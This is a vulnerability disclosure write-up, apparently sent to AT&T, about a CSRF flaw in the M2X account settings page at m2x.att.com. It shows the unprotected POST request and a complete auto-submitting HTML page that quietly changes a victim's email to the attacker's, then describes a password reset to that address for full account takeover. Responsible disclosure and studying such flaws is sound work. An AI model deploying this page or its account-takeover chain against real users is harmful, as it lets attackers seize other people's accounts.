This is the PoC i sent to AT&T
I’ve found a CSRF bug that may lead to full takeover account of a M2X AT&T user account
These are the steps to reproduce the issue:
1)Login into https://m2x.att.com/login
2)Once logged in we have to go to https://m2x.att.com/account
In this page we can see “First Name”,”Last Name”,”Email” forms.If we try to change the values of these forms and subsequently click
on the “Save Changes” button a POST request like this will be generated with no anti-CSRF token:
POST https://m2x.att.com/account
Host: m2x.att.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0 Iceweasel/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://m2x.att.com/account
Cookie: mycookies
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 115
first_name=marco1&last_name=cariddi&email=sangunazzu@gmail.com¤t_password=&password=&password_confirmation=
There is no anti-CSRF token so it’s vulnerable to CSRF.So now i can create an ad-hoc HTML page like the following to set the value of the
“email” parameter with the email of the attacker.Once the victim has visited the HTML page,the new attacker’s email will be saved in the
victim account and subsequently the attacker could make a Reset password at this page https://m2x.att.com/forgot-password.
So now an email will be sent to the attacker’s email and now the attacker can reset password of the victim’s account.
This is the CSRF Final POC:
<!DOCTYPE HTML PUBLIC “-//W3C//DTD HTML 4.01 Transitional//EN”>
<html>
<head>
<title>How i Hacked AT&T</title>
</head>
<body onload=”javascript:fireForms()”>
<script language=”JavaScript”>
var pauses = new Array( “1824” );
function pausecomp(millis)
{
var date = new Date();
var curDate = null;
do { curDate = new Date(); }
while(curDate-date < millis);
}
function fireForms()
{
var count = 1;
var i=0;
for(i=0; i<count; i++)
{
document.forms[i].submit();
pausecomp(pauses[i]);
}
}
</script>
<H2>How i Hacked AT&T</H2>
<form method=”POST” name=”form0″ action=”https://m2x.att.com:443/account”>
<input type=”hidden” name=”first_name” value=”marco1″/>
<input type=”hidden” name=”last_name” value=”cariddi”/>
<input type=”hidden” name=”email” value=”sangunazzu@gmail.com”/>
<input type=”hidden” name=”current_password” value=””/>
<input type=”hidden” name=”password” value=””/>
<input type=”hidden” name=”password_confirmation” value=””/>
</form>
</body>
</html>